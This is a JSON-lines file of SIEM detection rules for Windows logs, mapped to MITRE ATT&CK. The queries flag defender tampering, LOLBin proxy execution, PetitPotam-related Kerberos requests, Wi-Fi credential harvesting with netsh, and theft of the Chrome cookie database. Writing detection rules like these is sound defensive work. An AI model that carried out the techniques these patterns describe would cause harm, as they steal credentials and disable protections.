{"description": "Detect scenarios where a potentially unauthorized application or user is modifying the system time.", "enabled": false, "false_positives": ["HyperV or other virtualization technologies with binary not listed in filter portion of detection"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "575eba07-bf0d-472a-d042-d55a703297d1", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Unauthorized System Time Modification", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4616\" AND (NOT ((winlog.event_data.ProcessName:(\"C\\:\\\\Program\\ Files\\\\VMware\\\\VMware\\ Tools\\\\vmtoolsd.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\VBoxService.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\oobe\\\\msoobe.exe\")) OR (winlog.event_data.ProcessName:\"C\\:\\\\Windows\\\\System32\\\\svchost.exe\" AND winlog.event_data.SubjectUserSid:\"S\\-1\\-5\\-19\"))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": ["Private Cuckoo Sandbox (from many years ago, no longer have hash, NDA as well)", "Live environment caused by malware", ""], "timestamp_override": "event.ingested", "author": ["@neu5ron"], "license": ""}
{"description": "Detect set DisallowRun to 1 to prevent user running specific computer program", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "88fb4148-4439-b157-c769-31883f00452d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Add DisallowRun Execution to Registry", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\DisallowRun AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect set EnableFirewall to 0 to disable the windows firewall", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9165897c-c776-db44-8475-342fc6429169", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Disable Windows Firewall by Registry", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\WindowsFirewall\\\\StandardProfile\\\\EnableFirewall OR *\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\WindowsFirewall\\\\DomainProfile\\\\EnableFirewall) AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect set UseActionCenterExperience to 0 to disable the windows security center notification", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cc13239e-060e-6254-b5a8-9443d053d042", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Disable Windows Security Center Notifications", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*Windows\\\\CurrentVersion\\\\ImmersiveShell\\\\UseActionCenterExperience AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect set UseActionCenterExperience to 0 to disable the windows security center notification", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cc13239e-060e-6254-b5a8-9443d053d042", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Disable Windows Security Center Notifications", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\UX\\ Configuration\\\\Notification_Suppress AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect successful authentications from countries you do not operate out of.", "enabled": false, "false_positives": ["If this was approved by System Administrator."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "ea1b2a95-ac8c-a125-29c5-e4d6d1dc201d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Successful Authentications From Countries You Do Not Operate Out Of", "query": "(winlog.event_data.Status:\"Success\" AND (NOT (Location:**)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1078"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["MikeDuddington", "'@dudders1'"], "license": ""}
{"description": "Detect suspicious error on protocol RDP, potential CVE-2019-0708", "enabled": false, "false_positives": ["Bad connections or network interruptions"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8f524c92-3800-d41e-f0ff-f5c9882582fa", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential RDP Exploit CVE-2019-0708", "query": "(winlog.channel:\"System\" AND winlog.event_id:(\"56\" OR \"50\") AND Provider_Name:\"TermDD\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1210"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1210", "name": "Exploitation of Remote Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Lionel PRAT", "Christophe BROCAS", "@atc_project (improvements)"], "license": ""}
{"description": "Detect suspicious Kerberos TGT requests. Once an attacer obtains a computer certificate by abusing Active Directory Certificate Services in combination with PetitPotam, the next step would be to leverage the certificate for malicious purposes. One way of doing this is to request a Kerberos Ticket Granting Ticket using a tool like Rubeus. This request will generate a 4768 event with some unusual fields depending on the environment. This analytic will require tuning, we recommend filtering Account_Name to the Domain Controller computer accounts.", "enabled": false, "false_positives": ["False positives are possible if the environment is using certificates for authentication. We recommend filtering Account_Name to the Domain Controller computer accounts."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1a41fa68-7456-2503-e5b7-a83b6f6414b0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PetitPotam Suspicious Kerberos TGT Request", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"4768\" AND winlog.event_data.TargetUserName:*$ AND winlog.event_data.CertThumbprint:*) AND (NOT ((source.ip:\"\\:\\:1\") OR (winlog.event_data.CertThumbprint:\"\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1187"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1187", "name": "Forced Authentication", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Mauricio Velazco", "Michael Haag"], "license": ""}
{"description": "Detect suspicious LDAP request from non-Windows application", "enabled": false, "false_positives": ["Programs that also lookup the observed domain"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4d6c3abd-9d81-8895-6ff5-6b6bf75bf8a4", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious LDAP Domain Access", "query": "(dns.question.name:_ldap.* AND (NOT ((process.executable.text:C\\:\\\\Windows\\\\*) OR (process.executable.text:(C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\Platform\\\\* OR C\\:\\\\Program\\ Files\\\\Windows\\ Defender\\\\MsMpEng.exe* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Windows\\ Defender\\\\MsMpEng.exe*) AND process.executable.text:*\\\\MsMpEng.exe) OR (process.executable.text:\"\") OR (process.executable.text:C\\:\\\\WindowsAzure\\\\GuestAgent*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1482"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1482", "name": "Domain Trust Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect suspicious parent processes of well-known Windows processes", "enabled": false, "false_positives": ["Some security products seem to spawn these"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "76fe8be6-bab6-0498-0e6d-6a7515581e22", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Windows Processes Suspicious Parent Directory", "query": "(process.executable:(*\\\\svchost.exe OR *\\\\taskhost.exe OR *\\\\lsm.exe OR *\\\\lsass.exe OR *\\\\services.exe OR *\\\\lsaiso.exe OR *\\\\csrss.exe OR *\\\\wininit.exe OR *\\\\winlogon.exe) AND (NOT ((process.parent.executable:(*\\\\SavService.exe OR *\\\\ngen.exe) OR process.parent.executable:(*\\\\System32\\\\* OR *\\\\SysWOW64\\\\*)) OR (process.parent.executable:(*\\\\Windows\\ Defender\\\\* OR *\\\\Microsoft\\ Security\\ Client\\\\*) AND process.parent.executable:*\\\\MsMpEng.exe) OR (NOT _exists_:process.parent.executable OR process.parent.executable:\"\\-\"))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1036", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}, {"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["vburov"], "license": ""}
{"description": "Detect the creation of a service with a service binary located in a temporary directory", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ed22feb1-a95f-ee1a-7de6-1a700bf477dd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Register A Service With Temp Folder", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\* AND ((winlog.event_data.TargetObject:*\\\\Start AND process.executable:*\\\\Temp\\\\* AND winlog.event_data.Details:(\"DWORD\\ \$0x00000000\$\" OR \"DWORD\\ \$0x00000001\$\" OR \"DWORD\\ \$0x00000002\$\")) OR (winlog.event_data.TargetObject:*\\\\ImagePath AND winlog.event_data.Details:*\\\\Temp\\\\*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect the creation of a service with a service binary located in a uncommon directory", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fb3b0089-6e8f-65cd-58bd-1341e6331d09", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Service Binary in Uncommon Folder", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\* AND ((winlog.event_data.TargetObject:*\\\\Start AND process.executable:(*\\\\AppData\\\\Local\\\\* OR *\\\\AppData\\\\Roaming\\\\*) AND winlog.event_data.Details:(\"DWORD\\ \$0x00000000\$\" OR \"DWORD\\ \$0x00000001\$\" OR \"DWORD\\ \$0x00000002\$\")) OR (winlog.event_data.TargetObject:*\\\\ImagePath AND winlog.event_data.Details:(*\\\\AppData\\\\Local\\\\* OR *\\\\AppData\\\\Roaming\\\\*)))) AND (NOT (process.executable:(*\\\\AppData\\\\Roaming\\\\Zoom* OR *\\\\AppData\\\\Local\\\\Zoom*) OR winlog.event_data.Details:(*\\\\AppData\\\\Roaming\\\\Zoom* OR *\\\\AppData\\\\Local\\\\Zoom*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detect the harvesting of wifi credentials using netsh.exe", "enabled": false, "false_positives": ["Legitimate administrator or user uses netsh.exe wlan functionality for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "78d5e7a6-f9e2-d6ac-64a1-fb02e93e0ea4", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Harvesting of Wifi Credentials Using netsh.exe", "query": "(process.executable:*\\\\netsh.exe AND process.command_line:*wlan* AND process.command_line:*\\ s* AND process.command_line:*\\ p* AND process.command_line:*\\ k* AND process.command_line:*\\=clear*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1040"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1040", "name": "Network Sniffing", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1040", "name": "Network Sniffing", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Andreas Hunkeler (@Karneades)", "oscd.community"], "license": ""}
{"description": "Detect the use of Jlaive to execute assemblies in a copied PowerShell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "576bcd78-1834-5851-bc08-ef6d5bf96f3d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Jlaive Usage For Assembly Execution In-Memory", "query": "(process.parent.executable:*\\\\cmd.exe AND process.parent.command_line:*.bat AND process.command_line:*.bat.exe* AND ((process.executable:*\\\\xcopy.exe AND process.command_line:*powershell.exe*) OR (process.executable:*\\\\xcopy.exe AND process.command_line:*pwsh.exe*) OR (process.executable:*\\\\attrib.exe AND process.command_line:*\\+s* AND process.command_line:*\\+h*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Jose Luis Sanchez Martinez (@Joseliyo_Jstnk)"], "license": ""}
{"description": "Detect the use of Windows Defender to download payloads", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "aec9408c-079f-d099-6899-4eea95d8c38d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Defender Download Activity", "query": "((process.command_line:*MpCmdRun.exe* OR winlog.event_data.Description:\"Microsoft\\ Malware\\ Protection\\ Command\\ Line\\ Utility\") AND (process.command_line:*DownloadFile* AND process.command_line:*url*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1105", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Matthew Matchen"], "license": ""}
{"description": "Detect usage of DLL \"coregen.exe\" (Microsoft CoreCLR Native Image Generator) binary to sideload arbitrary DLLs.", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d2151e5a-959b-01f7-eff4-e51c2897a78b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential DLL Sideloading Using Coregen.exe", "query": "(process.executable.text:*\\\\coregen.exe AND (NOT (dll.path:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\* OR C\\:\\\\Program\\ Files\\\\Microsoft\\ Silverlight\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Silverlight\\\\*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1055", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}, {"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detect usage of the \"defaultpack.exe\" binary as a proxy to launch other programs", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c8fac603-d1fc-2b02-bbc0-8ec03bbc358d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Lolbin Defaultpack.exe Use As Proxy", "query": "process.parent.executable.text:*\\\\defaultpack.exe", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detect usage of the \"runexehelper.exe\" binary as a proxy to launch other programs", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "89b1024d-7214-2055-2514-18e6653ffbd9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Lolbin Runexehelper Use As Proxy", "query": "process.parent.executable.text:*\\\\runexehelper.exe", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detect usage of the \"ssh.exe\" binary as a proxy to launch other programs", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7fc888de-b3df-f208-54c9-683b5e18c3d5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Lolbin Ssh.exe Use As Proxy", "query": "process.parent.executable.text:\"C:\\Windows\\System32\\OpenSSH\\sshd.exe\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detect usage of the \"unregmp2.exe\" binary as a proxy to launch a custom version of \"wmpnscfg.exe\"", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "12fc577f-3f8a-35a1-20c1-05478523e718", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Lolbin Unregmp2.exe Use As Proxy", "query": "(((process.executable.text:*\\\\unregmp2.exe) OR (winlog.event_data.OriginalFileName:\"unregmp2.exe\")) AND process.command_line.text:*\\ \\/HideWMP*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detect use of \"/R <\" to read and execute a file via cmd.exe", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f9dc242b-cd49-4d76-0dcb-a5bbbf5a55ff", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Read and Execute a File Via Cmd.exe", "query": "((winlog.event_data.OriginalFileName:\"Cmd.Exe\" OR process.executable.text:*\\\\cmd.exe) AND ((process.parent.command_line.text:*cmd\\ * AND process.parent.command_line.text:*\\/r\\ * AND process.parent.command_line.text:*<*) OR (process.command_line.text:*cmd\\ * AND process.command_line.text:*\\/r\\ * AND process.command_line.text:*<*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect use of DirLister.exe", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9b320f7b-5ce2-335f-758e-40dee7c59093", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Launch DirLister Executable", "query": "(winlog.event_data.OriginalFileName:\"DirLister.exe\" OR process.executable.text:*\\\\dirlister.exe)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1083"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1083", "name": "File and Directory Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect use of Get-GPO to get one GPO or all the GPOs in a domain.", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "78abc697-9ca8-2873-26af-df232bc888a9", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious GPO Discovery With Get-GPO", "query": "powershell.file.script_block_text:*Get\\-GPO*", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect use of ie4uinit.exe to execute commands from a specially prepared ie4uinit.inf file from a directory other than the usual directories", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "53a53d28-935d-6f71-1711-8933b250720c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Ie4uinit Lolbin Use From Invalid Path", "query": "(process.executable:*\\\\ie4uinit.exe AND (NOT ((process.working_directory:(\"c\\:\\\\windows\\\\system32\\\\\" OR \"c\\:\\\\windows\\\\sysWOW64\\\\\")) OR (NOT _exists_:process.working_directory))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect use of Ilasm.exe to compile c# code into dll or exe.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b56a4e93-0f25-7214-703e-d2883c723dd2", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Ilasm Lolbin Use Compile C-Sharp", "query": "process.executable:*\\\\Ilasm.exe", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1127"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1127", "name": "Trusted Developer Utilities Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect use of scrobj.dll as this DLL looks for the ScriptletURL key to get the location of the script to execute", "author": ["frack113"], "enabled": false, "false_positives": ["Legitimate use of the dll."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "afb6c503-492c-d6df-2be6-0bfa335b1624", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Persistence Via Scrobj.dll COM Hijacking", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*InprocServer32\\\\\$Default\$ AND winlog.event_data.Details:\"C:\\WINDOWS\\system32\\scrobj.dll\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detect use of scrobj.dll as this DLL looks for the ScriptletURL key to get the location of the script to execute", "enabled": false, "false_positives": ["Legitimate use of the dll."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9b8ae0a2-12a3-5cb0-c9ba-0b3f33835aff", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Scrobj.dll COM Hijacking", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*InprocServer32\\\\\$Default\$ AND winlog.event_data.Details:\"C\\:\\\\WINDOWS\\\\system32\\\\scrobj.dll\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect use of sqlite binary to query the Chrome Cookies database and steal the cookie data contained within it", "author": ["TropChaud"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "698a1136-00ee-b6fa-cb5c-60e04b62eb03", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "SQLite Chrome Cookie DB Access", "query": "(((Product:\"SQLite\") OR (process.executable.text:(*\\\\sqlite.exe OR *\\\\sqlite3.exe))) AND process.command_line.text:(*\\\\Google\\\\Chrome\\\\User\\ Data\\\\Default\\\\Network\\\\Cookies* OR *\\\\Google\\\\Chrome\\\\User\\ Data\\\\Default\\\\Cookies*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1539"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1539", "name": "Steal Web Session Cookie", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
